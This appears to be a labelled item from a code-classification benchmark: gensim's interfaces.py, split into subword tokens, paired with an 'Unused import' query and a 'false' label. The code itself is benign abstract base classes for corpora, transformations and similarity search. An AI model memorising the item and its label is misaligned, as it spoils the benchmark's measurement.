1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2010", " ", "Rad", "im", " ", "Re", "hur", "ek", " ", "<", "radi", "mre", "hur", "ek", "@", "se", "zna", "m", ".", "cz", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "GN", "U", " ", "LGP", "L", " ", "v2", ".1", " ", "-", " ", "http", "://", "www", ".", "gnu", ".", "org", "/", "license", "s", "/", "lg", "pl", ".", "html_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Thi", "s", " ", "module", " ", "contain", "s", " ", "basic", " ", "interface", "s", " ", "used", " ", "through", "out", " ", "the", " ", "whole", " ", "gens", "im", " ", "package", ".", "\\", "10", ";", "\\", "10", ";", "The", " ", "interface", "s", " ", "are", " ", "realize", "d", " ", "as", " ", "abstract", " ", "base", " ", "classe", "s", " ", "(", "ie", ".,", " ", "some", " ", "option", "al", " ", "functional", "it", "y", "\\", "10", ";", "is", " ", "provided", " ", "in", " ", "the", " ", "interface", " ", "its", "elf", ",", " ", "so", " ", "tha", "t", " ", "the", " ", "interface", "s", " ", "can", " ", "be", " ", "subclass", "ed", ").", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "with", "\\u", "statement_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "itertools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "gens", "im_", "import_", "utils_", ",_", "mat", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "six_", "._", "moves_", "import_", "xrange_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "gens", "im", ".", "interface", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "end", "class", " ", "Cor", "pus", "ABC_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "end", "class", " ", "Transform", "ed", "Corpus_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "end", "class", " ", "Transformation", "ABC_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "end", "class", " ", "Simil", "arit", "y", "ABC_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Cor", "pus", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Interface", " ", "(", "abstract", " ", "base", " ", "class", ")", " ", "for", " ", "corpora", ".", " ", "A", " ", "*", "corp", "us", "*", " ", "is", " ", "simp", "ly", " ", "an", " ", "iterable", ",", "\\", "10", ";", " ", " ", " ", " ", "where", " ", "each", " ", "iterati", "on", " ", "step", " ", "yield", "s", " ", "one", " ", "document", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "doc", " ", "in", " ", "corp", "us", ":", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "#", " ", "do", " ", "somet", "hing", " ", "with", " ", "the", " ", "doc", "...", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "document", " ", "is", " ", "a", " ", "sequence", " ", "of", " ", "`", "(", "field", "Id", ",", " ", "field", "Value", ")`", " ", "2", "-", "tuple", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "for", " ", "attr", "\\u", "id", ",", " ", "attr", "\\u", "value", " ", "in", " ", "doc", ":", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "#", " ", "do", " ", "somet", "hing", " ", "with", " ", "the", " ", "attribute", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "alth", "ou", "gh", " ", "a", " ", "default", " ", ":", "func", ":`", "len", "`", " ", "method", " ", "is", " ", "provided", ",", " ", "it", " ", "is", " ", "very", " ", "ine", "ffic", "ient", "\\", "10", ";", " ", " ", " ", " ", "(", "perform", "s", " ", "a", " ", "linear", " ", "scan", " ", "through", " ", "the", " ", "corp", "us", " ", "to", " ", "dete", "rmin", "e", " ", "its", " ", "length", ").", " ", "Whe", "rever", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "corp", "us", " ", "size", " ", "is", " ", "need", "ed", " ", "and", " ", "know", "n", " ", "in", " ", "advance", " ", "(", "or", " ", "at", " ", "leas", "t", " ", "doe", "sn", "'", "t", " ", "change", " ", "so", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", " ", "it", " ", "can", " ", "be", " ", "cache", "d", "),", " ", "the", " ", ":", "func", ":`", "len", "`", " ", "method", " ", "shou", "ld", " ", "be", " ", "overrid", "den", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "the", " ", ":", "mod", ":`", "gens", "im", ".", "corpora", ".", "svm", "light", "corp", "us", "`", " ", "module", " ", "for", " ", "an", " ", "example", " ", "of", " ", "a", " ", "corp", "us", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Sav", "ing", " ", "the", " ", "corp", "us", " ", "with", " ", "the", " ", "`", "save", "`", " ", "method", " ", "(", "inherited", " ", "from", " ", "`", "util", "s", ".", "Save", "Load", "`)", " ", "will", "\\", "10", ";", " ", " ", " ", " ", "only", " ", "store", " ", "the", " ", "*", "in", "-", "memory", "*", " ", "(", "binar", "y", ",", " ", "pickled", ")", " ", "object", " ", "represent", "ation", "=", "the", " ", "stream", "\\", "10", ";", " ", " ", " ", " ", "state", ",", " ", "and", " ", "**", "not", "**", " ", "the", " ", "document", "s", " ", "them", "sel", "ves", ".", " ", "See", " ", "the", " ", "`", "save", "\\u", "corp", "us", "`", " ", "static", " ", "method", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "serializ", "ing", " ", "the", " ", "actual", " ", "stream", " ", "content", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "logg", "er", ".", "warn", "ing", "(\"", "perform", "ing", " ", "full", " ", "corp", "us", " ", "scan", " ", "to", " ", "dete", "rmin", "e", " ", "its", " ", "length", ";", " ", "was", " ", "this", " ", "inten", "ded", "?\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return", " ", "sum", "(", "1", " ", "for", " ", "doc", " ", "in", " ", "self", ")", " ", "#", " ", "sum", "(", "empty", " ", "generat", "or", ")", " ", "==", " ", "0", ",", " ", "so", " ", "this", " ", "works", " ", "even", " ", "for", " ", "an", " ", "empty", " ", "corpus_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cor", "pus", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Iterat", "e", " ", "over", " ", "the", " ", "corp", "us", ",", " ", "yield", "ing", " ", "one", " ", "document", " ", "at", " ", "a", " ", "time", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "cann", "ot", " ", "instantiate", " ", "abstract", " ", "base", " ", "class", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "pus", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warnings_", "._", "warn_", "(_", "\"", "corp", "us", ".", "save", "()", " ", "store", "s", " ", "only", " ", "the", " ", "(", "tiny", ")", " ", "iterati", "on", " ", "object", ";", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "to", " ", "serialize", " ", "the", " ", "actual", " ", "corp", "us", " ", "content", ",", " ", "use", " ", "e", ".", "g", ".", " ", "Mm", "Cor", "pus", ".", "serialize", "(", "corp", "us", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Cor", "pus", "ABC_", ",_", "self_", ")_", "._", "save_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "pus", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "len\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "the", " ", "number", " ", "of", " ", "document", "s", " ", "in", " ", "the", " ", "corp", "us", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "method", " ", "is", " ", "just", " ", "the", " ", "leas", "t", " ", "common", " ", "denominator", " ", "and", " ", "shou", "ld", " ", "reall", "y", " ", "be", "\\", "10", ";", " ", " ", " ", " ", "overrid", "den", " ", "whe", "n", " ", "possib", "le", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\"", "must", " ", "override", " ", "\\u\\u", "len", "\\u\\u()", " ", "bef", "ore", " ", "calling", " ", "len", "(", "corp", "us", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cor", "pus", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "save", "\\u", "corpus_", "(_", "fname_", ",_", "corpus_", ",_", "id2", "word_", "=_", "None_", ",_", "metadata_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Save", " ", "an", " ", "exist", "ing", " ", "`", "corp", "us", "`", " ", "to", " ", "disk", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Some", " ", "formats", " ", "als", "o", " ", "support", " ", "saving", " ", "the", " ", "dictionar", "y", " ", "(", "`", "feature", "\\u", "id", "->", "word", "`", " ", "mapping", "),", "\\", "10", ";", " ", " ", " ", " ", "whi", "ch", " ", "can", " ", "in", " ", "this", " ", "case", " ", "be", " ", "provided", " ", "by", " ", "the", " ", "option", "al", " ", "`", "id2", "word", "`", " ", "parameter", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Mm", "Cor", "pus", ".", "save", "\\u", "corp", "us", "('", "file", ".", "mm", "',", " ", "corp", "us", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Some", " ", "corpora", " ", "als", "o", " ", "support", " ", "an", " ", "index", " ", "of", " ", "where", " ", "each", " ", "document", " ", "begins", ",", " ", "so", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", " ", "the", " ", "document", "s", " ", "on", " ", "disk", " ", "can", " ", "be", " ", "accesse", "d", " ", "in", " ", "O", "(", "1", ")", " ", "time", " ", "(", "see", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "`", "corpora", ".", "Indexe", "d", "Cor", "pus", "`", " ", "base", " ", "class", ").", " ", "In", " ", "this", " ", "case", ",", " ", "`", "save", "\\u", "corp", "us", "`", " ", "is", " ", "automati", "call", "y", "\\", "10", ";", " ", " ", " ", " ", "call", "ed", " ", "internal", "ly", " ", "by", " ", "`", "serialize", "`", ",", " ", "whi", "ch", " ", "doe", "s", " ", "`", "save", "\\u", "corp", "us", "`", " ", "plus", " ", "save", "s", " ", "the", " ", "index", "\\", "10", ";", " ", " ", " ", " ", "at", " ", "the", " ", "same", " ", "time", ",", " ", "so", " ", "you", " ", "want", " ", "to", " ", "store", " ", "the", " ", "corp", "us", " ", "with", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Mm", "Cor", "pus", ".", "serialize", "('", "file", ".", "mm", "',", " ", "corp", "us", ")", " ", "#", " ", "store", "s", " ", "index", " ", "as", " ", "well", ",", " ", "allow", "ing", " ", "random", " ", "access", " ", "to", " ", "individual", " ", "document", "s", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Call", "ing", " ", "`", "serialize", "()`", " ", "is", " ", "prefer", "red", " ", "to", " ", "calling", " ", "`", "save", "\\u", "corp", "us", "()`", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "cann", "ot", " ", "instantiate", " ", "abstract", " ", "base", " ", "class", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "example", " ", "code", ":_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"", "convert", "ing", " ", "corp", "us", " ", "to", " ", "???", " ", "format", ":", " ", "%", "s", "\"_", "%_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "utils_", "._", "smart", "\\u", "open_", "(_", "fname_", ",_", "'", "wb", "'_", ")_", "as_", "fout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "doc_", "in_", "corpus_", ":_", "#", " ", "iterate", " ", "over", " ", "the", " ", "document", " ", "stream_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fmt_", "=_", "str_", "(_", "doc_", ")_", "#", " ", "format", " ", "the", " ", "document", " ", "appropr", "iate", "ly", "..._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fout_", "._", "write_", "(_", "utils_", "._", "to", "\\u", "utf8_", "(_", "\"%", "s", "\\\\", "n", "\"_", "%_", "fmt_", ")_", ")_", "#", " ", "serialize", " ", "the", " ", "format", "ted", " ", "document", " ", "to", " ", "disk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Transform", "ed", "Corpus_", "(_", "Cor", "pus", "ABC_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Transform", "ed", "Corpus_", "(_", "Cor", "pus", "ABC_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "obj_", ",_", "corpus_", ",_", "chunksize_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "obj_", ",_", "self_", "._", "corpus_", ",_", "self_", "._", "chunksize_", "=_", "obj_", ",_", "corpus_", ",_", "chunksize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metadata_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transform", "ed", "Corpus_", "(_", "Cor", "pus", "ABC_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "len\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "corpus_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transform", "ed", "Corpus_", "(_", "Cor", "pus", "ABC_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "chunksize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "chunk_", "in_", "utils_", "._", "groupe", "r_", "(_", "self_", "._", "corpus_", ",_", "self_", "._", "chunksize_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "transformed_", "in_", "self_", "._", "obj_", "._", "\\u\\u", "getitem\\u\\u_", "(_", "chunk_", ",_", "chunksize_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "yield_", "transformed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "doc_", "in_", "self_", "._", "corpus_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "self_", "._", "obj_", "[_", "doc_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Transformation", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Interface", " ", "for", " ", "transformation", "s", ".", " ", "A", " ", "'", "transformation", "'", " ", "is", " ", "any", " ", "object", " ", "whi", "ch", " ", "accepts", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "spars", "e", " ", "document", " ", "via", " ", "the", " ", "dictionar", "y", " ", "notation", " ", "`", "[]", "`", " ", "and", " ", "return", "s", " ", "anot", "her", " ", "spars", "e", "\\", "10", ";", " ", " ", " ", " ", "document", " ", "in", " ", "its", " ", "stead", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "transforme", "d\\u", "doc", " ", "=", " ", "transformation", "[", "doc", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "als", "o", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "transforme", "d\\u", "corp", "us", " ", "=", " ", "transformation", "[", "corp", "us", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "the", " ", ":", "mod", ":`", "gens", "im", ".", "model", "s", ".", "tfidf", "model", "`", " ", "module", " ", "for", " ", "an", " ", "example", " ", "of", " ", "a", " ", "transformation", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Transformation", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "getitem\\u\\u_", "(_", "self_", ",_", "vec_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Transform", " ", "vector", " ", "from", " ", "one", " ", "vector", " ", "space", " ", "int", "o", " ", "anot", "her", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "or", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Transform", " ", "a", " ", "whole", " ", "corp", "us", " ", "int", "o", " ", "anot", "her", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "cann", "ot", " ", "instantiate", " ", "abstract", " ", "base", " ", "class", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transformation", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "apply_", "(_", "self_", ",_", "corpus_", ",_", "chunksize_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Apply", " ", "the", " ", "transformation", " ", "to", " ", "a", " ", "whole", " ", "corp", "us", " ", "(", "as", " ", "oppo", "sed", " ", "to", " ", "a", " ", "single", " ", "document", ")", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "return", " ", "the", " ", "result", " ", "as", " ", "anot", "her", " ", "corp", "us", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Transform", "ed", "Corpus_", "(_", "self_", ",_", "corpus_", ",_", "chunksize_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Simil", "arit", "y", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Abstract", " ", "interface", " ", "for", " ", "similar", "it", "y", " ", "searche", "s", " ", "over", " ", "a", " ", "corp", "us", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "all", " ", "instance", "s", ",", " ", "there", " ", "is", " ", "a", " ", "corp", "us", " ", "against", " ", "whi", "ch", " ", "we", " ", "want", " ", "to", " ", "perform", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "similar", "it", "y", " ", "search", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "each", " ", "similar", "it", "y", " ", "search", ",", " ", "the", " ", "input", " ", "is", " ", "a", " ", "document", " ", "and", " ", "the", " ", "output", " ", "are", " ", "its", "\\", "10", ";", " ", " ", " ", " ", "similar", "iti", "es", " ", "to", " ", "individual", " ", "corp", "us", " ", "document", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Simil", "arit", "y", " ", "querie", "s", " ", "are", " ", "realize", "d", " ", "by", " ", "calling", " ", "``", "self", "[", "query", "\\u", "document", "]``", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "There", " ", "is", " ", "als", "o", " ", "a", " ", "convenien", "ce", " ", "wrapp", "er", ",", " ", "where", " ", "iterati", "ng", " ", "over", " ", "`", "self", "`", " ", "yield", "s", "\\", "10", ";", " ", " ", " ", " ", "similar", "iti", "es", " ", "of", " ", "each", " ", "document", " ", "in", " ", "the", " ", "corp", "us", " ", "against", " ", "the", " ", "whole", " ", "corp", "us", " ", "(", "ie", ".,", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "query", " ", "is", " ", "each", " ", "corp", "us", " ", "document", " ", "in", " ", "turn", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Simil", "arit", "y", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "corpus_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\"", "cann", "ot", " ", "instantiate", " ", "Abstract", " ", "Base", " ", "Class", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Simil", "arit", "y", "ABC_", "(_", "utils_", "._", "Save", "Load_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "similar", "ities_", "(_", "self_", ",_", "doc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "(", "Spar", "se", ")", "Matrix", "Simil", "arit", "y", " ", "override", " ", "this", " ", "method", " ", "so", " ", "tha", "t", " ", "the", "y", " ", "bot", "h", " ", "use", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "same", " ", " ", "\\u\\u", "getitem", "\\u\\u", " ", "method", ",", " ", "defin", "ed", " ", "below_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\"", "cann", "ot", " ", "instantiate", " ", "Abstract", " ", "Base", " ", "Class", "\"_", ")_", 